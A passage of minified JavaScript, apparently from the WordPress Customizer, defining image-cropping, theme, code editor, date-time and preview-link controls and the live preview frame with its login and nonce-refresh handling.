e=this.frame.state().get("selection").first().toJSON();this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):(this.setImageFromAttachment(e),this.frame.close())},onCropped:function(e){this.setImageFromAttachment(e)},calculateImageSelectOptions:function(e,t){var n=t.get("control"),i=!!parseInt(n.params.flex_width,10),a=!!parseInt(n.params.flex_height,10),o=e.get("width"),e=e.get("height"),s=parseInt(n.params.width,10),r=parseInt(n.params.height,10),c=s/r,l=s,d=r;return t.set("canSkipCrop",!n.mustBeCropped(i,a,s,r,o,e)),c<o/e?s=(r=e)*c:r=(s=o)/c,!(c={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:o,imageHeight:e,minWidth:s<l?s:l,minHeight:r<d?r:d,x1:t=(o-s)/2,y1:n=(e-r)/2,x2:s+t,y2:r+n})==a&&!1==i&&(c.aspectRatio=s+":"+r),!0==a&&(delete c.minHeight,c.maxWidth=o),!0==i&&(delete c.minWidth,c.maxHeight=e),c},mustBeCropped:function(e,t,n,i,a,o){return(!0!==e||!0!==t)&&!(!0===e&&i===o||!0===t&&n===a||n===a&&i===o||a<=n)},onSkippedCrop:function(){var e=this.frame.state().get("selection").first().toJSON();this.setImageFromAttachment(e)},setImageFromAttachment:function(e){this.params.attachment=e,this.setting(e.id)}}),Y.SiteIconControl=Y.CroppedImageControl.extend({initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.SiteIconCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON(),t=this;this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):wp.ajax.post("crop-image",{nonce:e.nonces.edit,id:e.id,context:"site-icon",cropDetails:{x1:0,y1:0,width:this.params.width,height:this.params.height,dst_width:this.params.width,dst_height:this.params.height}}).done(function(e){t.setImageFromAttachment(e),t.frame.close()}).fail(function(){t.frame.trigger("content:error:crop")})},setImageFromAttachment:function(t){var n;_.each(["site_icon-32","thumbnail","full"],function(e){n||_.isUndefined(t.sizes[e])||(n=t.sizes[e])}),this.params.attachment=t,this.setting(t.id),n&&J('link[rel="icon"][sizes="32x32"]').attr("href",n.url)},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent(),J('link[rel="icon"][sizes="32x32"]').attr("href","/favicon.ico"))}}),Y.HeaderControl=Y.Control.extend({ready:function(){this.btnRemove=J("#customize-control-header_image .actions .remove"),this.btnNew=J("#customize-control-header_image .actions .new"),_.bindAll(this,"openMedia","removeImage"),this.btnNew.on("click",this.openMedia),this.btnRemove.on("click",this.removeImage),Y.HeaderTool.currentHeader=this.getInitialHeaderImage(),new Y.HeaderTool.CurrentView({model:Y.HeaderTool.currentHeader,el:"#customize-control-header_image .current .container"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.UploadsList=new Y.HeaderTool.ChoiceList,el:"#customize-control-header_image .choices .uploaded .list"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.DefaultsList=new Y.HeaderTool.DefaultsList,el:"#customize-control-header_image .choices .default .list"}),Y.HeaderTool.combinedList=Y.HeaderTool.CombinedList=new Y.HeaderTool.CombinedList([Y.HeaderTool.UploadsList,Y.HeaderTool.DefaultsList]),wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize="on",wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme=Y.settings.theme.stylesheet},getInitialHeaderImage:function(){var e;return Y.get().header_image&&Y.get().header_image_data&&!_.contains(["remove-header","random-default-image","random-uploaded-image"],Y.get().header_image)?(e=(e=_.find(_wpCustomizeHeader.uploads,function(e){return e.attachment_id===Y.get().header_image_data.attachment_id}))||{url:Y.get().header_image,thumbnail_url:Y.get().header_image,attachment_id:Y.get().header_image_data.attachment_id},new Y.HeaderTool.ImageModel({header:e,choice:e.url.split("/").pop()})):new Y.HeaderTool.ImageModel},calculateImageSelectOptions:function(e,t){var n=parseInt(_wpCustomizeHeader.data.width,10),i=parseInt(_wpCustomizeHeader.data.height,10),a=!!parseInt(_wpCustomizeHeader.data["flex-width"],10),o=!!parseInt(_wpCustomizeHeader.data["flex-height"],10),s=e.get("width"),e=e.get("height");return this.headerImage=new Y.HeaderTool.ImageModel,this.headerImage.set({themeWidth:n,themeHeight:i,themeFlexWidth:a,themeFlexHeight:o,imageWidth:s,imageHeight:e}),t.set("canSkipCrop",!this.headerImage.shouldBeCropped()),(t=n/i)<s/e?n=(i=e)*t:i=(n=s)/t,!(t={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:s,imageHeight:e,x1:0,y1:0,x2:n,y2:i})==o&&!1==a&&(t.aspectRatio=n+":"+i),!1==o&&(t.maxHeight=i),!1==a&&(t.maxWidth=n),t},openMedia:function(e){var t=_wpMediaViewsL10n;e.preventDefault(),this.frame=wp.media({button:{text:t.selectAndCrop,close:!1},states:[new wp.media.controller.Library({title:t.chooseImage,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:_wpCustomizeHeader.data.width,suggestedHeight:_wpCustomizeHeader.data.height}),new wp.media.controller.Cropper({imgSelectOptions:this.calculateImageSelectOptions})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this),this.frame.open()},onSelect:function(){this.frame.setState("cropper")},onCropped:function(e){var t=e.url,n=e.attachment_id,i=e.width,e=e.height;this.setImageFromURL(t,n,i,e)},onSkippedCrop:function(e){var t=e.get("url"),n=e.get("width"),i=e.get("height");this.setImageFromURL(t,e.id,n,i)},setImageFromURL:function(e,t,n,i){var a={};a.url=e,a.thumbnail_url=e,a.timestamp=_.now(),t&&(a.attachment_id=t),n&&(a.width=n),i&&(a.height=i),t=new Y.HeaderTool.ImageModel({header:a,choice:e.split("/").pop()}),Y.HeaderTool.UploadsList.add(t),Y.HeaderTool.currentHeader.set(t.toJSON()),t.save(),t.importImage()},removeImage:function(){Y.HeaderTool.currentHeader.trigger("hide"),Y.HeaderTool.CombinedList.trigger("control:removeImage")}}),Y.ThemeControl=Y.Control.extend({touchDrag:!1,screenshotRendered:!1,ready:function(){var n=this,e=Y.panel("themes");function t(){return!e.canSwitchTheme(n.params.theme.id)}function i(){n.container.find("button.preview, button.preview-theme").toggleClass("disabled",t()),n.container.find("button.theme-install").toggleClass("disabled",t()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded)}Y.state("selectedChangesetStatus").bind(i),Y.state("changesetStatus").bind(i),i(),n.container.on("touchmove",".theme",function(){n.touchDrag=!0}),n.container.on("click keydown touchend",".theme",function(e){var t;if(!Y.utils.isKeydownButNotEnterEvent(e))return!0===n.touchDrag?n.touchDrag=!1:void(J(e.target).is(".theme-actions .button, .update-theme")||(e.preventDefault(),(t=Y.section(n.section())).showDetails(n.params.theme,function(){Y.settings.theme._filesystemCredentialsNeeded&&t.overlay.find(".theme-actions .delete-theme").remove()})))}),n.container.on("render-screenshot",function(){var e=J(this).find("img"),t=e.data("src");t&&e.attr("src",t),n.screenshotRendered=!0})},filter:function(e){var t=this,n=0,i=(i=t.params.theme.name+" "+t.params.theme.description+" "+t.params.theme.tags+" "+t.params.theme.author+" ").toLowerCase().replace("-"," ");return _.isArray(e)||(e=[e]),t.params.theme.name.toLowerCase()===e.join(" ")?n=100:(n+=10*(i.split(e.join(" ")).length-1),_.each(e,function(e){n=(n+=2*(i.split(e+" ").length-1))+i.split(e).length-1}),99<n&&(n=99)),0!==n?(t.activate(),t.params.priority=101-n,!0):(t.deactivate(),!(t.params.priority=101))},rerenderAsInstalled:function(e){var t=this;e?t.params.theme.type="installed":(e=Y.section(t.params.section),t.params.theme.type=e.params.action),t.renderContent(),t.container.trigger("render-screenshot")}}),Y.CodeEditorControl=Y.Control.extend({initialize:function(e,t){var n=this;n.deferred=_.extend(n.deferred||{},{codemirror:J.Deferred()}),Y.Control.prototype.initialize.call(n,e,t),n.notifications.bind("add",function(e){var t;e.code===n.setting.id+":csslint_error"&&(e.templateId="customize-code-editor-lint-error-notification",e.render=(t=e.render,function(){var e=t.call(this);return e.find("input[type=checkbox]").on("click",function(){n.setting.notifications.remove("csslint_error")}),e}))})},ready:function(){var i=this;i.section()?Y.section(i.section(),function(n){n.deferred.embedded.done(function(){var t;n.expanded()?i.initEditor():n.expanded.bind(t=function(e){e&&(i.initEditor(),n.expanded.unbind(t))})})}):i.initEditor()},initEditor:function(){var e,t=this,n=!1;wp.codeEditor&&(_.isUndefined(t.params.editor_settings)||!1!==t.params.editor_settings)&&((n=wp.codeEditor.defaultSettings?_.clone(wp.codeEditor.defaultSettings):{}).codemirror=_.extend({},n.codemirror,{indentUnit:2,tabSize:2}),_.isObject(t.params.editor_settings))&&_.each(t.params.editor_settings,function(e,t){_.isObject(e)&&(n[t]=_.extend({},n[t],e))}),e=new Y.Element(t.container.find("textarea")),t.elements.push(e),e.sync(t.setting),e.set(t.setting()),n?t.initSyntaxHighlightingEditor(n):t.initPlainTextareaEditor()},focus:function(e){var t=this,e=_.extend({},e),n=e.completeCallback;e.completeCallback=function(){n&&n(),t.editor&&t.editor.codemirror.focus()},Y.Control.prototype.focus.call(t,e)},initSyntaxHighlightingEditor:function(e){var t=this,n=t.container.find("textarea"),i=!1,e=_.extend({},e,{onTabNext:_.bind(t.onTabNext,t),onTabPrevious:_.bind(t.onTabPrevious,t),onUpdateErrorNotice:_.bind(t.onUpdateErrorNotice,t)});t.editor=wp.codeEditor.initialize(n,e),J(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-label":t.params.label,"aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),t.container.find("label").on("click",function(){t.editor.codemirror.focus()}),t.editor.codemirror.on("change",function(e){i=!0,n.val(e.getValue()).trigger("change"),i=!1}),t.setting.bind(function(e){i||t.editor.codemirror.setValue(e)}),t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}),t.deferred.codemirror.resolveWith(t,[t.editor.codemirror])},onTabNext:function(){var e=Y.section(this.section()).controls(),t=e.indexOf(this);e.length===t+1?J("#customize-footer-actions .collapse-sidebar").trigger("focus"):e[t+1].container.find(":focusable:first").focus()},onTabPrevious:function(){var e=Y.section(this.section()),t=e.controls(),n=t.indexOf(this);(0===n?e.contentContainer.find(".customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close").last():t[n-1].contentContainer.find(":focusable:first")).focus()},onUpdateErrorNotice:function(e){this.setting.notifications.remove("csslint_error"),0!==e.length&&(e=1===e.length?Y.l10n.customCssError.singular.replace("%d","1"):Y.l10n.customCssError.plural.replace("%d",String(e.length)),this.setting.notifications.add(new Y.Notification("csslint_error",{message:e,type:"error"})))},initPlainTextareaEditor:function(){var a=this.container.find("textarea"),o=a[0];a.on("blur",function(){a.data("next-tab-blurs",!1)}),a.on("keydown",function(e){var t,n,i;27===e.keyCode?a.data("next-tab-blurs")||(a.data("next-tab-blurs",!0),e.stopPropagation()):9!==e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||a.data("next-tab-blurs")||(t=o.selectionStart,n=o.selectionEnd,i=o.value,0<=t&&(o.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=o.selectionEnd=t+1),e.stopPropagation(),e.preventDefault())}),this.deferred.codemirror.rejectWith(this)}}),Y.DateTimeControl=Y.Control.extend({ready:function(){var i=this;if(i.inputElements={},i.invalidDate=!1,_.bindAll(i,"populateSetting","updateDaysForMonth","populateDateInputs"),!i.setting)throw new Error("Missing setting");i.container.find(".date-input").each(function(){var e=J(this),t=e.data("component"),n=new Y.Element(e);i.inputElements[t]=n,i.elements.push(n),e.on("change",function(){i.invalidDate&&i.notifications.add(new Y.Notification("invalid_date",{message:Y.l10n.invalidDate}))}),e.on("input",_.debounce(function(){i.invalidDate||i.notifications.remove("invalid_date")})),e.on("blur",_.debounce(function(){i.invalidDate||i.populateDateInputs()}))}),i.inputElements.month.bind(i.updateDaysForMonth),i.inputElements.year.bind(i.updateDaysForMonth),i.populateDateInputs(),i.setting.bind(i.populateDateInputs),_.each(i.inputElements,function(e){e.bind(i.populateSetting)})},parseDateTime:function(e){var t;return(t=e?e.match(/^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/):t)?(t.shift(),e={year:t.shift(),month:t.shift(),day:t.shift(),hour:t.shift()||"00",minute:t.shift()||"00",second:t.shift()||"00"},this.params.includeTime&&this.params.twelveHourFormat&&(e.hour=parseInt(e.hour,10),e.meridian=12<=e.hour?"pm":"am",e.hour=e.hour%12?String(e.hour%12):String(12),delete e.second),e):null},validateInputs:function(){var e,i,a=this;return a.invalidDate=!1,e=["year","day"],a.params.includeTime&&e.push("hour","minute"),_.find(e,function(e){var t,n,e=a.inputElements[e];return i=e.element.get(0),t=parseInt(e.element.attr("max"),10),n=parseInt(e.element.attr("min"),10),e=parseInt(e(),10),a.invalidDate=isNaN(e)||t<e||e<n,a.invalidDate||i.setCustomValidity(""),a.invalidDate}),a.inputElements.meridian&&!a.invalidDate&&(i=a.inputElements.meridian.element.get(0),"am"!==a.inputElements.meridian.get()&&"pm"!==a.inputElements.meridian.get()?a.invalidDate=!0:i.setCustomValidity("")),a.invalidDate?i.setCustomValidity(Y.l10n.invalidValue):i.setCustomValidity(""),(!a.section()||Y.section.has(a.section())&&Y.section(a.section()).expanded())&&_.result(i,"reportValidity"),a.invalidDate},updateDaysForMonth:function(){var e=this,t=parseInt(e.inputElements.month(),10),n=parseInt(e.inputElements.year(),10),i=parseInt(e.inputElements.day(),10);t&&n&&(n=new Date(n,t,0).getDate(),e.inputElements.day.element.attr("max",n),n<i)&&e.inputElements.day(String(n))},populateSetting:function(){var e,t=this;return!(t.validateInputs()||!t.params.allowPastDate&&!t.isFutureDate()||(e=t.convertInputDateToString(),t.setting.set(e),0))},convertInputDateToString:function(){var e,n=this,t="",i=function(e,t){return String(e).length<t&&(t=t-String(e).length,e=Math.pow(10,t).toString().substr(1)+String(e)),e},a=function(e){var t=parseInt(n.inputElements[e].get(),10);return _.contains(["month","day","hour","minute"],e)?t=i(t,2):"year"===e&&(t=i(t,4)),t},o=["year","-","month","-","day"];return n.params.includeTime&&(e=n.inputElements.meridian?n.convertHourToTwentyFourHourFormat(n.inputElements.hour(),n.inputElements.meridian()):n.inputElements.hour(),o=o.concat([" ",i(e,2),":","minute",":","00"])),_.each(o,function(e){t+=n.inputElements[e]?a(e):e}),t},isFutureDate:function(){return 0<Y.utils.getRemainingTime(this.convertInputDateToString())},convertHourToTwentyFourHourFormat:function(e,t){e=parseInt(e,10);return isNaN(e)?"":(t="pm"===t&&e<12?e+12:"am"===t&&12===e?e-12:e,String(t))},populateDateInputs:function(){var i=this.parseDateTime(this.setting.get());return!!i&&(_.each(this.inputElements,function(e,t){var n=i[t];"month"===t||"meridian"===t?(n=n.replace(/^0/,""),e.set(n)):(n=parseInt(n,10),e.element.is(document.activeElement)?n!==parseInt(e(),10)&&e.set(String(n)):e.set(i[t]))}),!0)},toggleFutureDateNotification:function(e){var t="not_future_date";return e?(e=new Y.Notification(t,{type:"error",message:Y.l10n.futureDateError}),this.notifications.add(e)):this.notifications.remove(t),this}}),Y.PreviewLinkControl=Y.Control.extend({defaults:_.extend({},Y.Control.prototype.defaults,{templateId:"customize-preview-link-control"}),ready:function(){var e,t,n,i,a,o=this;_.bindAll(o,"updatePreviewLink"),o.setting||(o.setting=new Y.Value),o.previewElements={},o.container.find(".preview-control-element").each(function(){t=J(this),e=t.data("component"),t=new Y.Element(t),o.previewElements[e]=t,o.elements.push(t)}),n=o.previewElements.url,i=o.previewElements.input,a=o.previewElements.button,i.link(o.setting),n.link(o.setting),n.bind(function(e){n.element.parent().attr({href:e,target:Y.settings.changeset.uuid})}),Y.bind("ready",o.updatePreviewLink),Y.state("saved").bind(o.updatePreviewLink),Y.state("changesetStatus").bind(o.updatePreviewLink),Y.state("activated").bind(o.updatePreviewLink),Y.previewer.previewUrl.bind(o.updatePreviewLink),a.element.on("click",function(e){e.preventDefault(),o.setting()&&(i.element.select(),document.execCommand("copy"),a(a.element.data("copied-text")))}),n.element.parent().on("click",function(e){J(this).hasClass("disabled")&&e.preventDefault()}),a.element.on("mouseenter",function(){o.setting()&&a(a.element.data("copy-text"))})},updatePreviewLink:function(){var e=!Y.state("saved").get()||""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get();this.toggleSaveNotification(e),this.previewElements.url.element.parent().toggleClass("disabled",e),this.previewElements.button.element.prop("disabled",e),this.setting.set(Y.previewer.getFrontendPreviewUrl())},toggleSaveNotification:function(e){var t="changes_not_saved";e?(e=new Y.Notification(t,{type:"info",message:Y.l10n.saveBeforeShare}),this.notifications.add(e)):this.notifications.remove(t)}}),Y.defaultConstructor=Y.Setting,Y.control=new Y.Values({defaultConstructor:Y.Control}),Y.section=new Y.Values({defaultConstructor:Y.Section}),Y.panel=new Y.Values({defaultConstructor:Y.Panel}),Y.notifications=new Y.Notifications,Y.PreviewFrame=Y.Messenger.extend({sensitivity:null,initialize:function(e,t){var n=J.Deferred();n.promise(this),this.container=e.container,J.extend(e,{channel:Y.PreviewFrame.uuid()}),Y.Messenger.prototype.initialize.call(this,e,t),this.add("previewUrl",e.previewUrl),this.query=J.extend(e.query||{},{customize_messenger_channel:this.channel()}),this.run(n)},run:function(t){var e,n,i,a=this,o=!1,s=!1,r=null,c="{}"!==a.query.customized;a._ready&&a.unbind("ready",a._ready),a._ready=function(e){s=!0,r=e,a.container.addClass("iframe-ready"),e&&o&&t.resolveWith(a,[e])},a.bind("ready",a._ready),(e=document.createElement("a")).href=a.previewUrl(),n=_.extend(Y.utils.parseQueryString(e.search.substr(1)),{customize_changeset_uuid:a.query.customize_changeset_uuid,customize_theme:a.query.customize_theme,customize_messenger_channel:a.query.customize_messenger_channel}),!Y.settings.changeset.autosaved&&Y.state("saved").get()||(n.customize_autosaved="on"),e.search=J.param(n),a.iframe=J("<iframe />",{title:Y.l10n.previewIframeTitle,name:"customize-"+a.channel()}),a.iframe.attr("onmousewheel",""),a.iframe.attr("sandbox","allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts"),c?a.iframe.attr("data-src",e.href):a.iframe.attr("src",e.href),a.iframe.appendTo(a.container),a.targetWindow(a.iframe[0].contentWindow),c&&((i=J("<form>",{action:e.href,target:a.iframe.attr("name"),method:"post",hidden:"hidden"})).append(J("<input>",{type:"hidden",name:"_method",value:"GET"})),_.each(a.query,function(e,t){i.append(J("<input>",{type:"hidden",name:t,value:e}))}),a.container.append(i),i.trigger("submit"),i.remove()),a.bind("iframe-loading-error",function(e){a.iframe.remove(),0===e?a.login(t):-1===e?t.rejectWith(a,["cheatin"]):t.rejectWith(a,["request failure"])}),a.iframe.one("load",function(){o=!0,s?t.resolveWith(a,[r]):setTimeout(function(){t.rejectWith(a,["ready timeout"])},a.sensitivity)})},login:function(n){var i=this,a=function(){n.rejectWith(i,["logged out"])};if(this.triedLogin)return a();J.get(Y.settings.url.ajax,{action:"logged-in"}).fail(a).done(function(e){var t;"1"!==e&&a(),(t=J("<iframe />",{src:i.previewUrl(),title:Y.l10n.previewIframeTitle}).hide()).appendTo(i.container),t.on("load",function(){i.triedLogin=!0,t.remove(),i.run(n)})})},destroy:function(){Y.Messenger.prototype.destroy.call(this),this.iframe&&this.iframe.remove(),delete this.iframe,delete this.targetWindow}}),i=0,Y.PreviewFrame.uuid=function(){return"preview-"+String(i++)},Y.setDocumentTitle=function(e){e=Y.settings.documentTitleTmpl.replace("%s",e);document.title=e,Y.trigger("title",e)},Y.Previewer=Y.Messenger.extend({refreshBuffer:null,initialize:function(e,t){var n,o=this,i=document.createElement("a");J.extend(o,t||{}),o.deferred={active:J.Deferred()},o.refresh=_.debounce((n=o.refresh,function(){var e,t=function(){return 0===Y.state("processing").get()};t()?n.call(o):(e=function(){t()&&(n.call(o),Y.state("processing").unbind(e))},Y.state("processing").bind(e))}),o.refreshBuffer),o.container=Y.ensure(e.container),o.allowedUrls=e.allowedUrls,e.url=window.location.href,Y.Messenger.prototype.initialize.call(o,e),i.href=o.origin(),o.add("scheme",i.protocol.replace(/:$/,"")),o.add("previewUrl",e.previewUrl).setter(function(e){var n,i=null,t=[],a=document.createElement("a");return a.href=e,/\/wp-(admin|includes|content)(\/|$)/.test(a.pathname)?null:(1<a.search.length&&(delete(e=Y.utils.parseQueryString(a.search.substr(1))).customize_changeset_uuid,delete e.customize_theme,delete e.customize_messenger_channel,delete e.customize_autosaved,_.isEmpty(e)?a.search="":a.search=J.param(e)),t.push(a),o.scheme.get()+":"!==a.protocol&&((a=document.createElement("a")).href=t[0].href,a.protocol=o.scheme.get()+":",t.unshift(a)),n=document.createElement("a"),_.find(t,function(t){return!_.isUndefined(_.find(o.allowedUrls,function(e){if(n.href=e,a.protocol===n.protocol&&a.host===n.host&&0===a.pathname.indexOf(n.pathname.replace(/\/$/,"")))return i=t.href,!0}))}),i)}),o.bind("ready",o.ready),o.deferred.active.done(_.bind(o.keepPreviewAlive,o)),o.bind("synced",function(){o.send("active")}),o.previewUrl.bind(o.refresh),o.scroll=0,o.bind("scroll",function(e){o.scroll=e}),o.bind("url",function(e){var t,n=!1;o.scroll=0,o.previewUrl.bind(t=function(){n=!0}),o.previewUrl.set(e),o.previewUrl.unbind(t),n||o.refresh()}),o.bind("documentTitle",function(e){Y.setDocumentTitle(e)})},ready:function(e){var t=this,n={};n.settings=Y.get(),n["settings-modified-while-loading"]=t.settingsModifiedWhileLoading,"resolved"===t.deferred.active.state()&&!t.loading||(n.scroll=t.scroll),n["edit-shortcut-visibility"]=Y.state("editShortcutVisibility").get(),t.send("sync",n),e.currentUrl&&(t.previewUrl.unbind(t.refresh),t.previewUrl.set(e.currentUrl),t.previewUrl.bind(t.refresh)),n={panel:e.activePanels,section:e.activeSections,control:e.activeControls},_(n).each(function(n,i){Y[i].each(function(e,t){_.isUndefined(Y.settings[i+"s"][t])&&_.isUndefined(n[t])||(n[t]?e.activate():e.deactivate())})}),e.settingValidities&&Y._handleSettingValidities({settingValidities:e.settingValidities,focusInvalidControl:!1})},keepPreviewAlive:function(){var e,t=function(){e=setTimeout(i,Y.settings.timeouts.keepAliveCheck)},n=function(){Y.state("previewerAlive").set(!0),clearTimeout(e),t()},i=function(){Y.state("previewerAlive").set(!1)};t(),this.bind("ready",n),this.bind("keep-alive",n)},query:function(){},abort:function(){this.loading&&(this.loading.destroy(),delete this.loading)},refresh:function(){var e,i=this;i.send("loading-initiated"),i.abort(),i.loading=new Y.PreviewFrame({url:i.url(),previewUrl:i.previewUrl(),query:i.query({excludeCustomizedSaved:!0})||{},container:i.container}),i.settingsModifiedWhileLoading={},Y.bind("change",e=function(e){i.settingsModifiedWhileLoading[e.id]=!0}),i.loading.always(function(){Y.unbind("change",e)}),i.loading.done(function(e){var t,n=this;i.preview=n,i.targetWindow(n.targetWindow()),i.channel(n.channel()),t=function(){n.unbind("synced",t),i._previousPreview&&i._previousPreview.destroy(),i._previousPreview=i.preview,i.deferred.active.resolve(),delete i.loading},n.bind("synced",t),i.trigger("ready",e)}),i.loading.fail(function(e){i.send("loading-failed"),"logged out"===e&&(i.preview&&(i.preview.destroy(),delete i.preview),i.login().done(i.refresh)),"cheatin"===e&&i.cheatin()})},login:function(){var t,n,i,a=this;return this._login||(t=J.Deferred(),this._login=t.promise(),n=new Y.Messenger({channel:"login",url:Y.settings.url.login}),i=J("<iframe />",{src:Y.settings.url.login,title:Y.l10n.loginIframeTitle}).appendTo(this.container),n.targetWindow(i[0].contentWindow),n.bind("login",function(){var e=a.refreshNonces();e.always(function(){i.remove(),n.destroy(),delete a._login}),e.done(function(){t.resolve()}),e.fail(function(){a.cheatin(),t.reject()})})),this._login},cheatin:function(){J(document.body).empty().addClass("cheatin").append("<h1>"+Y.l10n.notAllowedHeading+"</h1><p>"+Y.l10n.notAllowed+"</p>")},refreshNonces:function(){var e,t=J.Deferred();return t.promise(),(e=wp.ajax.post("customize_refresh_nonces",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet})).done(function(e){Y.trigger("nonce-refresh",e),t.resolve()}),e.fail(function(){t.reject()}),t}}),Y.settingConstructor={},Y.controlConstructor={color:Y.ColorControl,media:Y.MediaControl,upload:Y.UploadControl,image:Y.ImageControl,cropped_image:Y.CroppedImageControl,site_icon:Y.SiteIconControl,header:Y.HeaderControl,background:Y.BackgroundControl,background_position:Y.BackgroundPositionControl,theme:Y.ThemeControl,date_time:Y.DateTimeControl,code_editor:Y.CodeEditorControl},Y.panelConstructor={themes:Y.ThemesPanel},Y.sectionConstructor={themes:Y.ThemesSection,outer:Y.OuterSection},Y._handleSettingValidities=function(e){var o=[],n=!1;_.each(e.settingValidities,function(t,e){var a=Y(e);a&&(_.isObject(t)&&_.each(t,function(e,t){var n=!1,e=new Y.Notification(t,_.extend({fromServer:!0},e)),i=a.notifications(e.code);(n=i?e.type!==i.type||e.message!==i.message||!_.isEqual(e.data,i.data):n)&&a.notifications.remove(t),a.notifications.has(e.code)||a.notifications.add(e),o.push(a.id)}),a.notifications.each(function(e){!e.fromServer||"error"!==e.type||!0!==t&&t[e.code]||a.notifications.remove(e.code)}))}),e.focusInvalidControl&&(e=Y.findControlsForSettings(o),_(_.values(e)).find(function(e){return _(e).find(function(e){var t=e.section()&&Y.section.has(e.section())&&Y.section(e.section()).expanded();return(t=t&&e.expanded?e.expanded():t)&&(e.focus(),n=!0),n})}),n||_.isEmpty(e)||_.values(e)[0][0].focus())},Y.findControlsForSettings=function(e){var n,i={};return _.each(_.unique(e),function(e){var t=Y(e);t&&(n=t.findControls())&&0<n.length&&(i[e]=n)}),i},Y.reflowPaneContents=_.bind(function(){var i,e,t,a=[],o=!1;document.activeElement&&(e=J(document.activeElement)),Y.panel.each(function(e){var t,n;"themes"===e.id||(t=e.sections(),n=_.pluck(t,"headContainer"),a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]")))||(_(t).each(function(e){i.append(e.headContainer)}),o=!0)}),Y.section.each(function(e){var t=e.controls(),n=_.pluck(t,"container");e.panel()||a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]"))||(_(t).each(function(e){i.append(e.container)}),o=!0)}),a.sort(Y.utils.prioritySort),t=_.pluck(a,"headContainer"),i=J("#customize-theme-controls .customize-pane-parent"),Y.utils.areElementListsEqual(t,i.children())||(_(a).each(function(e){i.append(e.headContainer)}),o=!0),Y.panel.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),Y.section.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),o&&e&&e.trigger("focus"),Y.trigger("pane-contents-reflowed")},Y),Y.state=new Y.Values,_.each(["saved","saving","trashing","activated","processing","paneVisible","expandedPanel","expandedSection","changesetDate","selectedChangesetDate","changesetStatus","selectedChangesetStatus","remainingTimeToPublish","previewerAlive","editShortcutVisibility","changesetLocked","previewedDevice"],function(e){Y.state.create(e)}),J(function(){var h,o,t,n,i,d,u,p,a,s,r,c,l,f,m,H,L,g,v,w,b,M,O,C,j,y,e,x,k,z,S,T,E,R,B,W,D,N,P,I,U,A;function F(e){e&&e.lockUser&&(Y.settings.changeset.lockUser=e.lockUser),Y.state("changesetLocked").set(!0),Y.notifications.add(new j("changeset_locked",{lockUser:Y.settings.changeset.lockUser,allowOverride:Boolean(e&&e.allowOverride)}))}function q(){var e,t=document.createElement("a");return t.href=location.href,e=Y.utils.parseQueryString(t.search.substr(1)),Y.settings.changeset.latestAutoDraftUuid?e.changeset_uuid=Y.settings.changeset.latestAutoDraftUuid:e.customize_autosaved="on",e.return=Y.settings.url.return,t.search=J.param(e),t.href}function Q(){T||(wp.ajax.post("customize_dismiss_autosave_or_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:!0}),T=!0)}function K(){var e;return Y.state("activated").get()?(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),Y.state("selectedChangesetStatus").get()===e&&("future"!==Y.state("selectedChangesetStatus").get()||Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get())&&Y.state("saved").get()&&"auto-draft"!==Y.state("changesetStatus").get()):0===Y._latestRevision}function V(){Y.unbind("change",V),Y.state("selectedChangesetStatus").unbind(V),Y.state("selectedChangesetDate").unbind(V),J(window).on("beforeunload.customize-confirm",function(){if(!K()&&!Y.state("changesetLocked").get())return setTimeout(function(){t.removeClass("customize-loading")},1),Y.l10n.saveAlert})}function $(){var e=J.Deferred(),t=!1,n=!1;return 